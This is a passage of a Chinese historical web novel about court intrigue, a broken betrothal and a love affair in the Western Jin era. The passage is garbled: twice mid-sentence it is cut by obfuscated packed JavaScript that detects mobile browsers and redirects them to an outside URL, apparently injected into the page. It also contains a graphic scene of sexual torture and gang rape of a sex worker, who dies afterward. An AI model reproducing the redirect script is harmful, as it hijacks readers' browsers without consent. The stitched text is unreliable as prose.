太子发觉后自然奋力反抗。然而周围早已被贾后布下天罗地网,任他喊破喉咙,也没有人来救驾。 孙虑虽是黄门,却常年习武,是贾后身边一等一的高手。他随手抄起一个木杵,对着太子当头劈下,竟一棍子就将其打死了。 只是,太子之前挣扎的动静大了些——这个别坊紧邻着外面的街市,就听司马遹死前大喊:“贾南风杀我!”叫声凄厉非常,一路传到了墙外面,被不少来往的路人听了去。 世上没有不透风的墙,此事发生后,经路人添油加醋地传播,很快便一传十十传百地散播开去,再经由许都南来北往的商贾扩散。没多久,贾后毒杀太子的事便在民间广泛流传开来。 老百姓其实对谁做头顶的一片天不甚在意,但是贾后这事办得太不体面,人都有怜贫惜弱之心,此事传开后,贾后在民间本就丑陋的形象立时更加狰狞,这十年好不容易积攒起来的威望更是跌落谷底。 然而这些事在民间流传再广,也传不到天子的耳朵里。 皇帝收到信时,太子已然断气两天了,一直闷在污浊的粪坑里,捞起来时,脸都变形了,自然也看不出伤口所在。 太子还是死了!得到消息时,裴頠正在描摹书房前的一树桃花,心神俱震下,笔尖抖落好大一颗墨团,一张明艳的春桃图,瞬时被毁。 他看着残图皱眉,娘娘这是,自掘坟墓啊! 54. 高密装病退婚事,张茂得信回凉州…… 贾后得到消息后,欣喜若狂,但样子还是要做的。 她故作大怒,迁罪于侍奉太子的一众黄门与宫女,把自己摘了个干净。甚至还假惺惺的向皇帝上书,称太子虽然已被废为庶人,但是她作为嫡母,不忍他以庶民之礼下葬,恳请皇帝顾及父子人伦,用广陵王之礼安葬他。 贾后在朝里演戏的时候,远在青州的东海王府亦热闹着。 原来高密王妃进来身体欠佳,竟到了难以下床的地步。方圆百里的名医都来看过却依然束手无策。 这时,有个法力高超的术士上门来瞧了瞧,道是高密王妃必是与家中女眷八字不合,惊扰了凤体。 然而家中在册的女眷八字他一一对过,从东海王妃到下面的姬妾,却都不是。 一筹莫展之际,那术士又算了一卦,道是从卦象上看,这女眷尚未过门。 此话一出,东海王脸色立时诡异起来。联想前几日杨家舅爷夤夜来府,不过片刻又匆匆而归,之后他母亲就急急病倒……他狐疑地看向母亲。 高密王妃却心虚地躲开他探究的眼神,捂着头喊起疼来,且越叫越大声,见儿子仍不为所动。高密王妃干脆一咬牙,对身边的傅姆道:“让外面备马,老妇要进京面圣,状告儿孙忤逆!” 东海王这才慌了,他赶紧扶住母亲,哀声劝道:“阿母何必如此?即便要提携舅家,本王想办法为外兄们谋出路就是,难道一定要把人娶进门来才作数吗?” 高密王妃相对饮泣:“非阿母胡闹,只是你那王妃仗着出身高门,处处看不上我,若再招来个同样离心的孙媳,老妇当如何自处?不若早早随了你阿耶去地下,也好过在自家看别人脸色!” 东海王拿妻子裴妃没有办法,拿自己的母亲更没有办法。 高密王妃本有两个儿子,奈何长子早逝,只能由他这个次子奉养。他连个推脱的人都没有。如今高密王妃拿忤逆大罪来要挟自己,还是在这个太子被废的紧要关头,他怎能不惧! 东海王本想拖延:“且待孤去信与王妃商议。” 高密王妃却一把拽住他的手,疾言厉色道:“夫为妻主,儿子的婚事你这个做父亲的反倒要听她的主意?” 东海王无奈解释:“河东裴氏乃百年望族,岂可轻易退婚!” 见儿子有松动迹象,高密王妃缓下声来,为他“支招”:“老妇病重急需冲喜,裴家元娘却还有一年孝期。你且修书一封快马送与钜鹿郡公,看他可舍得把孝中的侄女就这般嫁过来?” 高门贵女个个金贵,哪个肯为了冲喜匆匆进门?何况人家还在孝中。这是让裴家知难而退啊! 不过,相比无故退婚,两家结怨,这主意倒不失为两全之法。东海王无奈应了下来。 ……钜鹿郡公府,裴妍正心情大好地束着襻膊,和容秋一起往竹篾上放新采摘来的杏花。她要趁着这几天天气晴好,晒些干花来用。 张茂闲坐廊下,一边摇着鹅扇烹茶,一边看她忙活。 他今日着翠青色宽袖儒袍,发髻仅插一枚碧玉簪,未戴冠,一副燕居的家常打扮。 午后的春光照得人暖融融的,院外斜栽的柳条有一下没一下地扫着墙头的嫩草。间或两声莺啼自墙外竹林传来,惊了池边午休的老鳖,偶尔抬头看看天色。这时光,好生惬意。 唉,寸光寸金,他该早些来寻裴妍的。 其实张茂上半晌就进了钜鹿郡公府,拜见完家主裴頠后,正欲去寻裴妍,半路却被黑着脸的裴憬架走了。 裴憬拉张茂去了他曾经住过的慎独院。自打张茂搬出去后,这小院便一直关着,连门头上的匾额都没有换。 裴憬却没空与他叙旧,毫不客气地在他的胸口捶了一拳,义愤填膺道:“好你个小子,居然敢打我妹妹的主意。” 裴憬虽自幼体弱,不擅骑射,但这一拳却费了不少力道,连张茂这个武将也被捶得后退一步。 张茂没想瞒他,只是揉了揉发疼的胸口,毕恭毕敬地朝他施了一礼:“大兄容秉,茂对阿妍是真心的!求大兄玉成!” “哼!”裴憬气的不是这个,“这么大的事,要不是阿蕙告诉我,我到现在还被蒙在鼓里呢!” 他们三个是一起长大的,怎么说,也该先跟他通个气才是! 张茂作为裴憬曾经的伴读,早把这位小主人拿捏得透透的。他赶紧作揖服软:“是茂歉考虑了。只是元娘一直不让我对外人说,我也无法。”不是他不想昭告天下,是你家元娘不让啊! “我是外人?”裴憬却只听自己想听的,他指着自己的鼻子,快气炸了。 “自然不是!要么说我和元娘都糊涂了呢!若早些让大兄晓得,兴许如今,事早成了!”张茂赶紧摇手,一通马屁,拍得裴憬浑身受用。 相比司马毗,裴憬自然更希望张茂做自己的妹婿。他觉得自己有必要帮好友一把,便把自己了解到的母亲还有叔父对这事的态度都“透露”给了张茂,还把裴妍喜欢什么,不喜欢什么,亦当做独家秘密泄露给了他。 其实这些张茂早就知道,但是大舅子的面子不能不给,只好耐着性子与这位仁兄周旋。 裴憬虽不聪敏,但到底是知人事的,眼瞅着时间过去这么久,张茂急着去见自家妹妹,不再耽搁他,只再三叮嘱:“你们聊归聊,不许孤男寡女一处太久。我会让人在院外盯着你们的!” 张茂心里一塞,嘴上还得承情:“多谢大兄。” 唉,这叫什么事儿! 裴妍把手里的活干完,终于舍得回来寻情郎。 张茂赶紧给她添了杯暖茶。 裴妍忙得舌头冒火,不顾水烫,咕嘟嘟地全干了,又示意张茂再给她来一杯。那牛饮的架势外人看了还以为她在拼酒。 张茂无奈,又给她浅斟一盏,劝道:“莫要急,慢慢来。” 裴妍摇头:“怎能不急,我答应过给你做杏花糕的。眼看着你就要回凉州了还没吃上呢。” 她担忧地看了眼天色,补充道:“可这也怨不得我,年后起天气就反复无常,不是刮风就是大雨,天也没往年暖和。看这杏花竟至今时才开。” 裴妍说的无心,张茂心头不由得一紧。 这几年天象时有异常。今年年后豫州大雨,色红如血;凉州白昼太白出;江南夤夜彗星现。据挚师叔讲,就在太子被废当日,主君臣和睦的中台二星竟忽然分开。 正所谓彗星出,战火起;金星出,女代夫。中台星移,君臣不和;红雨降世,必有冤情。 种种异象均表明,君王不道,国将不国! 然而这些,张茂并没有说给裴妍听。国难当头,他们这些手握兵权的人尚且不能左右形势,何况阿妍一个深闺弱女? 前日他陪郭夫人刚去挚虞师叔那里算了一卦,卦象大吉。郭夫人大喜,从此不再阻拦他与裴妍见面。母女俩正是高兴的时候,何必给她们添堵? “我还有十天才走,不急的。”他安慰道。 就剩十天了啊!裴妍觉得日子过得真快,他俩之前一直偷偷摸摸来往,见一面不容易。如今好不容易家里默许他俩能光明正大地在一起了,却还得两地相隔,依然聚少离多。 张茂也舍不得,他看了眼空荡荡的院子,离席走到裴妍身后,将佳人揽在怀里,抚着她的发顶,柔声道:“只恨如今你还在孝中,不然我下月便把你娶回凉州去。” 裴妍脸色绯红,娇声道:“怎么不是你回京城?偏要人家随你跑去那么远的地方!” “京城哪有凉州自在!”张茂道,洛阳是别人的地盘,满城勾心斗角,一不留神就被人算计了去,“当然,你若不想离京,倒不是没法子,待这阵事了,我便与阿兄互换差事。他去凉州替阿耶扛旗,我来京城当质子。” 裴妍再不敏,也知道质子的含义。这可不是个好差事。 她有些心疼情郎:“要不,咱们在凉州和洛阳之间找个地方住?闻喜怎样?那里还是我老家呢!” 裴妍明显察觉到张茂不喜欢京城。她也不喜欢,这里还没有闻喜乡下来得自在。 可是洛阳再不好,也是她的家啊,她的阿母、阿叔、阿兄、阿妹都在这里。她若是跟着张茂去了遥远的凉州,千山万水阻隔,这偌大的一家人,岂不是很难再见了? 尤其她阿母,中年丧夫,子非亲子,晚年再没有她这个女儿就近陪伴,该多寂寥! 张茂没有立时答复她。二人陷入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴妍记得张茂一向是温和的时候居多,很少见他发怒狰狞的模样,忙颤声问他发生了何事。 原来张茂的父亲张轨这段时间一直在凉州勠力剿匪,曾一举斩杀万余人,威震西北。但同时,也惹得地方豪强和宵小侧目。 这次,张轨在卧龙城巡查期间,竟被刺杀,昏迷数日。如今虽已醒转,但伤重难以下地。 这封书信是张轨的心腹宋配写的,除了将事情始末告知二位郎君外,更是催促两位赶紧回凉州协防都督诸事。 毕竟他们这些谋臣是外人,主公重伤,自然要主公之子主持大局。 裴妍知道兹事体大,不敢耽搁他,赶紧和容秋将他送至二门处。 临别前,张茂突然回身抱住裴妍,歉然道:“此番我怕是要早些回去,阿耶那里,不能离人。” 裴妍一瞬红了眼眶,但她明白,此时不是儿女情长的时候,只好强压苦楚,低眉应道:“晓得,你……多保重!” 事态紧急,张茂夤夜就快马回了凉州。 只是,他到底放心不下京城的局势,更放心不下裴妍,便命心腹听雨留京照看。 听雨是钜鹿郡公府出去的,虽连同父母亲眷的身帖都被王夫人送去了张刺史府,但他是裴府的家生子,族人都还在府里,在裴府的消息也灵通。 何况,裴妍在张茂心中的地位,别人不知,听雨却是全程看在眼里的。他思忖着,只要把这位姑奶奶伺候好了,不愁郎君不看重他。 翌日,听雨进得院里,俯身低首等在廊下,不多久,就听到一阵急切的脚步声。 他略略抬首,就瞧见裴元娘疾行而来,那樱桃红的霄尾,仿若散开的花瓣,合了又开,没几步便到了他的身前。 “茂郞何时走?”裴妍问,莹白的俏脸上,满是关切。 “事出紧急,郎君昨夜便回了凉州。”他高抬双手,呈上张茂的亲笔信,却弓着腰,不敢直视元娘,更不忍看她伤神的样子。 裴妍接过张茂的信,低眉愣在原地,久久不语,泛红的眼尾隐见泪意——本以为早起还能见上一面的! 55. 善缘尽司马毗退婚,恶意来浪荡子…… 听雨在廊下劝道:“女郎宽心,郎君说了,待刺史身体好转就回京看您。 “嗯,”裴妍低低应了声,没有多话,捏着信回屋里了。 听雨本在廊下回话,见裴妍失魂落魄地回房后,正欲转身,却被容秋叫住。 俩人是老熟人了。 容秋废话不多说,直接问他:“郎君临走前可有交代你什么?” 听雨点头,看了眼周遭,附耳低声:“郎君让我盯着赵王府。若有异动,务必联络大郎君,保钜鹿郡公府诸人西行。” 赵王?容秋皱眉,她来府上多年,记得府里和赵王没什么过节啊。且不谈这个,“就凭府里这些人手能够用?” 张茂给的那份部曲的名单她看过,他们的人不过三四十人而已。 听雨摇头:“自是不止。郎君临行前在京里留下几处亲卫,由胡饼店的季大郎统领,我是副统。另有西郊庄园的私兵,总数不下千人,由大郎君总领。”说起自己的副统之职,听雨本能地挺了挺胸膛,自豪之情溢于言表。 容秋这才正眼打量起眼前人来,发现这个原本瘦弱的少年不知何时竟长高了许多,人也比三年前壮实了。 她笑道:“看不出啊,跟了二郎后,你行情大涨,竟也能统领亲兵了。” “不敢当不敢当,姐姐说笑了,也就是郎君提拔我,才得了个微末的小校罢了。”听雨哪敢在裴元娘的红人面前造次,何况这位还是张府出来的家生子。她的父兄可都曾是张府的家将哩! 容秋放下心来。 这么说,张茂确实是留了人手的。钜鹿郡公府里的那些部曲实力如何她是清楚的。除了张茂安插的那几十人,还有裴池几个算有点能耐外,其他人,哼,说句不好听的,只能干点顺风仗,真要他们真刀真枪地上阵,敌人未到,自己先得吓个半死。 在容秋这个武将之女眼里,偌大的钜鹿郡公府,就是个金玉其外败絮其中的绣花枕头! 张茂回凉州不久,东海王妃便携世子司马毗匆匆登门了。 郭、王二位夫人早从裴頠那里知晓了高密王妃的事,便坐等着顺水推舟,装模作样地接待了她们。 对于裴妍与张茂的私情,王氏其实很恼火。长房行事这么没规矩,打的亦是钜鹿郡公府的脸,一个弄不好,连裴妡的名声都要被牵连。 但事已至此,她也只能顺着家主的意思办。 裴妃算是裴家的姑奶奶,她见到两位堂嫂,未语泪先流。 小郭氏内心万分愧疚,赶紧上前搀住她,拍着她的手,劝道:“总是孝道最大,我们都懂的。” 裴妃咬牙道:“那位未免糊涂,竟拿孙子的婚事来扶持娘家。可怜我家阿毗,自小便与阿妍要好,如今竟要这般生离。” 王夫人扫了郭夫人一眼。 裴妃与小郭氏一向交好,如今却是郭氏的女儿负了人家儿子在前,求着家里使计解除二人婚约在后,可怜裴妃一向把小郭氏当姊妹,把裴妍当女儿疼爱,自己被这对母女算计了都不知道。 小郭氏被妯娌看得脸上发烫。这事确实是她们母女不厚道。但戏已到这步,硬着头皮也得唱下去。 她一擦眼角,小意地安抚:“阿妍做不了世子妇,那就做你的义女吧。在阿妍心里,你这个姑姑跟母亲是一样的。” “只能如此了!”裴妃咬牙应下。 前几日,东海王来信,以高密王妃病重为由,请求裴家百日内嫁女冲喜,被裴家家主裴頠一口否决。 事已至此,高密王妃以“忤逆”为要挟,甚至闹着要到御前告御状,身为儿媳的裴妃亦无法,只能与裴家商量退亲事宜。 在这桩事里,难过的除了裴妃,还有世子司马毗。 书房,司马毗毕恭毕敬地向钜鹿郡公裴頠请罪。 裴頠沉着脸,一言不发,此事是他布的局,然而这贼喊捉贼的功力,司马毗怎么能跟这个两朝元老比? 倒是一旁陪客的裴憬,面上五味杂陈,不知该作何表情。 一方面他知道妹妹对张茂心有所属,裴家来退亲,正好合了他妹妹心意,他由衷地为妹妹舒了口气;另一面,他又觉得如自家妹妹这么好的女郎,怎么能被人退婚呢?东海王真是欺人太甚! 于是他看司马毗的眼神便复杂起来,既同情又不甘。 当然,如果他知道这场退亲的始作俑者是自己的好叔父,想来这会已经在司马毗面前露了马脚了。 裴頠故意冷了世子半晌,这才装模作样地长叹:“此事既是妇人之间的玩笑,便止于妇人之手罢。” 裴頠干脆连两家曾小定的事都不提了,直接将之归纳为“妇人间的玩笑”。 司马毗心苦,却也知,这是保全两家颜面的最好方式了。 将要退下时,司马毗犹豫了一瞬,突然折返,朝裴頠行大礼,委婉请求:“某与元娘自小一处长大,原以为能护佑她半生,如今却不得不为孝道避亲。某想再见元娘一面,亲自向她解释清楚原委,也好过她心里无端猜疑。” 有始有终,倒是个有情有义的孩子。裴頠心里可惜,只是既生瑜何生亮,他败给那鬼精的张家小儿,倒也不算丢人。 他挥挥手,同意道:“且去看看阿妍吧。她心里……亦不好受。” 一席话说的司马毗更加酸楚。 自郡公府外院书房到裴妍的内室需经过东湖画舫。 司马毗一路行来,脑海里翻涌的皆是自己与裴妍几次在画舫烹茶聊天的场景。 越接近裴妍的院子,他便越痛苦,也不知阿妍听到退婚的消息后,会是何反应? 正在院子里晒花的的裴妍确实心情低落,但却不是为司马毗退婚的事。 她的小院子里摆满了竹架,架子上晾晒着盛满杏花的竹篾。 她来到一处篾子前,理了理上面的花瓣,拈起一枚,放嘴里尝了尝,涩里带酸,一丝甜味也没有:“骗子!” 想起几日前,她还和张茂在院子里温存。如今,二人却相隔天涯,眼泪便扑簌簌地淌下来。 “阿妍妹妹!”司马毗来时,恰看到裴妍正拈花落泪。 原本,裴妍待自己不冷不热,张茂又口口声声说裴妍与他有私情。司马毗还曾怀疑,裴妍是不是真的不喜欢自己?可是看到这一幕,他立时明白了她的“真心”。 可惜,一切都迟了!他只觉心如刀绞,拳头不自觉地握紧,上前道:“阿妍,是我无能,负了你!” 他牵起裴妍的手狠狠地捶着自己的胸口:“你心里难过,就打我吧!” 裴妍一时呆愣,没反应过来,这是……她这才想起司马毗的来意,高密王妃的事她刚从阿母那里听说了些。 他不会……误会了吧! 裴妍赶紧从司马毗的手里拽回自己的手,后退两步,柔声道:“世子不必多虑,退亲的事,不怪你!” 司马毗一腔苦楚无处诉说,眼见着佳人在前,自己却求而不得。他很想向裴妍解释自己和母亲的难处。然而他母亲与祖母的恩怨不是一日两日了,又是家丑,自己这个做晚辈的,实在难以启齿。 裴妍却止住他的话头,宽慰道:“老人家心思重,我们做晚辈的,自然要多担待些。” 司马毗听得此话,更觉悔痛交加。裴妍不仅貌美,还善解人意,河东裴氏的女儿,果然不是其他人家能比的,心里不禁对祖母的怨愤更上了一层,对那位素昧平生的杨家表妹更加憎恶。 “阿妍,终归是我负了你,你一定很怨我吧!” 裴妍摇头,面上真挚:“你和姑姑照顾了我们母女多年,我和阿母感激还来不及,怎会怪你?何况,咱俩即便做不成夫妻,也还是兄妹啊!” 兄妹?司马毗惨然一笑,他们算什么兄妹?没了这一纸婚约的束缚,他之于她,只是隔了不知多少房的表亲。 从此,她的喜怒哀乐、婚丧嫁娶、生老病死,与他再无干系! 司马毗只觉意难平,有万千委屈想要诉与裴妍听。然而,如今的他们已然不是未婚夫妻的关系,他几度张口,却不知该从何说起。 终归,是他没担当,被家中老人算计了去! 裴妍却没给他自辩的机会。她朝身边的容秋使了眼色。 容秋立马上前隔在二人中间,以人做盾,生生将二人分开,就听她柔声对裴妍道:“春日风大,夫人吩咐过,女郎不可在外久待!” 裴妍也应景地咳了两声,歉然地朝司马毗福了福身子。这是送客的意思了。 然而,司马毗却迟迟没有挪步:“阿妍自去,我一会便走。” 他只怕这一别,他们此生也许都不会再有机会单独相见了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027230|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如此,阿毗哥见谅。”裴妍没有强求,自顾自地扶着容秋的手回房去了。 待进门时,突然听身后的司马毗道:“阿妍,我们……就此别过!”语声喑哑,饱含苦楚。 她转头,见他勉强朝自己笑了笑,阳光洒在年轻郎君阴翳的瞳中,隐隐射出一道泪光,裴妍还没有看清,他已经头也不回地走了。 裴妍只觉心中一痛,手不自觉地捂上胸口。 容秋见状赶忙扶住她:“可是身上不舒服?” 裴妍摇头,无声地看向那个渐行渐远地身影。 对于司马毗的退婚,她原本正中下怀。虽然,她不知晓这是她阿叔与张司空的计谋,更不知这计的背后,是张茂在搅局。 她只是觉得高密王妃的插手正如瞌睡遇了枕头——来得太是时候。 可是,当司马毗真的来和她诀别的时候,裴妍只觉心口被人狠狠揪住了一样,疼得很。她这才惊觉,原来她对司马毗,也不是全然无情的啊! 可她终究还是,负了他! 张茂与司马毗,好似两根牵扯着裴妍左右手的绳子,曾经拼命拉拽着她,差点将她生生撕裂。终于,一侧的绳子断了,她看似舒了口气,可手上的结还在。 司马毗走了,容秋拍着胸口,对裴妍道:“吓死我了。刚才世子的眼神能溺死人。” “别说了!”裴妍低声道,“我负了他,他退了我的亲。我们,算扯平了。” 这话也是她说给自己听的,这浓的化不开的愧疚感,也快把她折磨疯了! 还好,一切都结束了! 话说,东海王府与钜鹿郡公府退亲的事,虽说两家都行得光明正大,但到底是诸侯与顶级世家,难免成为京城人的一时谈资。 这里面,自然有那没口德的,给司马毗、杨表妹和裴元娘之间编出不少风流事来。 万锦楼是洛阳城里出了名的纸醉窟金迷坊。里面的姑娘各个才色双绝,且只招待上流贵客,光有钱没关系还进不去。 今日楼里进来两位生客。万锦楼的老鸨却放下往日的身段,自来人进门始,便毕恭毕敬的贴身伺候着。 只见这两个男子,一个膀大腰圆,脸上贴满横肉,着一身火锦织金直缀深衣,头戴碧玉冠;一个尖嘴猴腮,贼眉鼠眼,偏学人家儒生打扮,一身素色广袖宽袍,头戴儒帽。 可惜二人言行粗鄙,举止无礼,虽着锦衣华服,依然暴露了暴发户的嘴脸。 老鸨虽想赚钱,但接待惯了达官贵人的她,也不禁腹诽,若非东家交代这两位新贵需得好生伺候,她是连一眼都不想瞧他们。 这二人,胖的那个正是之前被裴参一脚踢下粪坑的孙会;瘦的那个,则是他堂弟,孙衢。 孙会的父亲孙秀出身寒门,早年在潘安手下为吏,潘安不满他的奸猾,经常敲打他。 后来孙秀巴结上出身豪强的辛冉,在他的举荐下投靠了赵王,并很快凭着他的三寸不烂之舌,得了赵王重用。 如今,赵王得势,孙秀好不容易借着赵王的抬举,在京城得了些地位,便软磨硬泡地与自己的同乡,乐安孙氏联了宗。 乐安孙氏如今的掌家人为兖州刺史孙旂,是前幽州都督孙历之子。孙旂本是看不上孙秀的,但架不住赵王亲自牵线搭桥,为孙秀说项。 所谓宁得罪君子,不得罪小人。赵王是出了名的睚眦必报。他们孙家只是中等世家,多个有本事的亲戚,总好过多个仇人吧!孙秀就这般从寒门一跃成为了士族,连带着他那些不成器的子侄都鸡犬升天。 孙会和孙衢作为孙秀最重视的儿子和侄子,自然水涨船高,这些天没少被人巴结。 尤其孙会,自从上回被裴家打过一次后,本来收敛了点,如今又趾高气扬起来。 他早就听说万锦楼是京城有名的美人窟,一直想来尝鲜。可惜以前身份不够,无人引荐。 如今,他自问身家已经够格,便知会了这妓馆的幕后东家石崇,大摇大摆地进来逍遥。 石崇其实也看不上这位。但如今赵王在皇后那里颇为受宠。他同为后党,不得不卖对方一个人情。 因是石公亲自举荐来的客人,老鸨殷勤地把家里的好货色都叫来给这两位贵客择选。 孙秀来者不拒,和堂弟二人左拥右抱,选了一溜美人环伺身边。 56. 绿珠仗义救姊妹,张茂坐镇稳大局…… 孙衢也是个酒色之徒,他知孙会曾疑似被钜鹿郡公府的人打过。酒过三巡后,就把自己新从民间搜罗来的裴妍、司马毗和他杨家表妹的艳史拿来说与孙会听,还添油加醋地往里面加了不少香艳情节。 孙会越听越解气,满脸不屑地笑话钜鹿郡公府:“张茂就不是个好东西,他侍奉过的人家,能强到哪,自是一路货色,男盗女娼,狼狈为奸!” 其实,钜鹿郡公府是遭了池鱼之灾,谁都知道裴頠是安定张氏在京城的靠山,孙会恨死了张茂,又曾被为张茂出头的钜鹿郡公府的部曲打过,对这两家恨不能杀之后快。 “可不是!若非西北打仗还用得着那张家,阿叔早把张茂赶到岭南吸瘴气去了!” 如今张家势大,孙秀即便权倾朝野,亦得收着哄着他们。毕竟凉州胡人暴乱,除了土著张家,朝廷还真找不到合适的出镇人选。 连带着孙会也被他阿耶警告,让他没事别去招惹张茂。 孙会无奈,只得憋了一肚子气。最近他听说张茂的老东家——钜鹿郡公府的元娘被东海王退了婚,他别提有多解气了! 这时一个披红着绿袒胸露背的美艳伎子舔着脸贴上来,对孙会道:“奴听闻,奴的样貌与那裴家元娘很有几分相似呢。” 这就是胡话了。裴妍养在深闺,外人都不得见,何况她这个伎子? 无非是听出贵客对这轶事很关注,想凑上去讨个巧罢了。 哪想,孙会这个土冒竟当了真。 他一把扯过伎子,一手捏着她的脸左右端详,摇头道:“这长的也不怎么样啊!” 孙衢□□道:“有些女人看上去平平无奇,实则内媚!” 一句话点醒孙会,加之刚才孙衢给他讲了不少司马毗和裴妍的荤段子,他立时来了兴致,也不进里间,竟当着众人的面,就剥了那伎子的衣裳。 那伎子几乎赤身裸体地站在众人中间,旁边除了诸女,还有孙衢含笑看着,难免害臊,便拿手给自己遮挡一二,竟带了点良家子的娇羞来。 这一举动正合了孙会的意,他揉了一把这个女人凝白的胸口,笑道:“对,就是这样,让我也尝尝那裴家女的味道!” 说罢一把掀翻案几上的器物,把这女人推在案上玩弄起来。 这伎子暗自叫苦,这客人行事好生古怪,里间明明有床他不睡,偏要当着众人面行事。 不过她到底久经风月,暗忖在哪干还不是一样,只要客人开心就好,便假作娇媚的嗔叫起来。 孙会不仅自己体验,一轮结束后还勾勾手叫来自己的堂弟,道:“这货下面贼紧,看来就是你说的那个什么内媚了。来,你也试试。” 说着自己衣襟也不掩,就这么大喇喇地坐旁边的案上等着看。 孙衢本也是无耻之徒,在老家经常伙同族人欺男霸女,兄弟间共用一个也是有过的,何况这女人本就是万人骑的伎子。 于是他二话不说,亦大大方方地上阵。 孙会在一边津津有味地欣赏着,仿佛躺在那的真是裴家元娘。 瞧着女子梨花带雨的脸,他突然身上一阵燥热,蓦地又来了兴致,竟一把将那弱不禁风的伎子拉起,自己随手从桌案上抄起个玉箸,直捅那女子后面,与孙衢一前一后地蛮干起来。 这如何是人干得的事!可怜那伎子被折磨得痛不欲生,高声惨叫求饶:“贵人饶命!”几番想逃脱出去,却都不是这对兄弟的对手。 她越是哀号,孙家兄弟越玩得起劲,到后来,那女子□□竟流出血来,叫声也越来越凄厉,不消片刻,竟晕死过去。 其他伎子本在旁边叫好助兴,直到孙会越玩越过火,最后都吓得不敢吭声。 有一个仗义点的,赶紧偷溜去外面寻假母。 那假母此时正在房里招待贵客呢,就听外面有人哭着拍门大喊“阿母救命!” “吱呀”一声,门开了,出来的却是一个年轻貌美的女郎。 那伎子见到来人,眼睛瞬间一亮,跟见了救星似的,噗通一声跪在地上:“绿珠阿姊,求您想办法救救弄云吧,她……她快要被贵人玩死啦!” “什么?”绿珠有些诧异,来往万绮楼的都是有头有脸的人物,且因东家是石崇的缘故,即便再嚣张的客人也不敢在楼里放肆。 她自己便是从万绮楼出去的,对里面的女郎多少有几分香火情,便问老鸨:“这人什么来头,居然敢在此撒野?” 老鸨只好上前,把孙家的底细给透了。 绿珠冷笑:“原以为多大来头,不过是赵王家的一条狗,也敢在这狂吠!” 老鸨却惊出了一头的冷汗,暗忖:姑奶奶,你现在是背靠大树好乘凉,有石公和贾公疼着,没人敢动你。可我们这些下三滥的,若是惹了孙家,岂不是找死?石将军也好,鲁国公也罢,断不会为了我们这些人跟孙家过不去啊! 便想息事宁人道:“许是贵人酒高了也未可知。老身这就去瞧瞧。” 绿珠却拦着她道:“你去能救得了谁?”说着,从身上解下石府的腰牌,递与一旁的婢子道:“就说是石将军召弄云入府伺候,我倒要看看这帮畜生放不放行!” 孙会和孙衢素来狠厉恣睢,眼见着这个伎子不中用了,就想换一个。 周遭的女郎骇得纷纷逃窜,反倒激起这俩畜生的兴致。抓人玩闹好不快活! 谁知正得意着呢,外面突然传来急切的敲门声,就听外面的仆从隔门禀报道:“郎主不好了,石将军要召弄云进府伺候呢!” 孙会正在兴头上,他好不容易逮住一个十三四岁的小女郎,正要行事呢,哪曾想被中途打断了。 但石将军的面子还是要给的,他极不耐烦地问周围的伎子:“弄云?哪个是弄云?还不速去应召?” 有个伎子颤颤巍巍地指着地上已是奄奄一息的女人道:“郎君,她……就是弄云!” 孙会一凛,手上的伎子趁乱逃了出来,赶紧躲到帷幕后藏着。 孙衢亦走了过来,替孙会披上袍子。 二人这才注意到方才那个被他们折磨得晕死过去的女郎。 只见她浑身青紫,□□血流如注,前后两处若被扯烂的桃子般,血红的皮肉翻滚而出,惨不忍睹。 孙会却一点愧色也无,居然自得地道:“看来好货色谁都喜欢。就是不知石公喜欢从这女人的前门进还是后门进。” 孙衢到底心虚些,看着地上一动不动的女人,担忧道:“这个弄云被我们折腾成这样,石公不会怪罪我等?” 孙会满不在乎地道:“凡事讲究先来后到。石将军来要人的时候,她已经被咱们干完了。开弓没有回头箭,都是男人,想来石公亦能体谅。再者,这里的伎子本就是伺候人的,石公若当真喜欢她,早就收进府里独宠了。还会放楼里来给别人骑?可见这女子在石公那里也不过是个贱婢罢了。” 孙会分析得在理,孙衢放下心来,待他二人收拾妥当,这才命外面的侍从和婢子进来抬人,俩人谁都没把此事当一回事。 那个弄云,经此大难后,□□竟起了脓泡,且发起了高烧,老鸨请的大夫嫌弃她是个伎子,治得马虎,弄云没挺住,当晚就香消玉殒了。 消息传来,却惹怒了绿珠。 要说这绿珠虽出身卑微,但性情刚烈,为人仗义,见楼里的姊妹被折腾至死,一股怒气直冲头顶,不禁银牙暗咬,誓要让这两个乡下来的畜生付出代价! 枕头风最是吹不得,回府后,绿珠趁着晚间给石崇侍寝,一哭二闹地跟他告状,说是今日孙会兄弟仗着权势大闹万锦楼,甚至还差点轻薄了自己。 石崇与孙家本就有旧怨,当初就是孙秀提议皇后,让他不得不重操旧业,干起了得罪人的打家劫舍的差事。 如今,孙秀之子居然敢跑到他的地盘上撒野,还敢动他的爱妾!石崇气得脸都绿了! 呵,他孙秀不过是赵王养的一条看门犬而已,还真把自己当人物了。 与孙家相比,石崇算京城的土著了。他想暗中搞谁,有的是手段。 故而,孙会和孙衢翌日出来闲逛时,再次“不巧”遇上贼人,俩人被蒙了头,狠狠地打了一通。 孙会半瘫在榻,恨恨地拍打着床沿,他跟这京城八字相冲么?怎么老是他遇上不长眼的贼人? 孙会还算好的,孙衢却在混战中被打断了一条腿。医正说,得好生休养,否则将不能疾走。 原来,孙衢深知孙会是伯父的命根子,如果孙会出了好歹,自己这一房必要受到迁连。故而面对歹人时,他竟奋不顾身地牢牢趴在堂兄身上,替他挡了不少拳脚。 孙会见自己堂弟被打成废人,后怕非常,若非孙衢挡着,只怕废的就是自己了。 他仔细回想了一番,对父亲分析 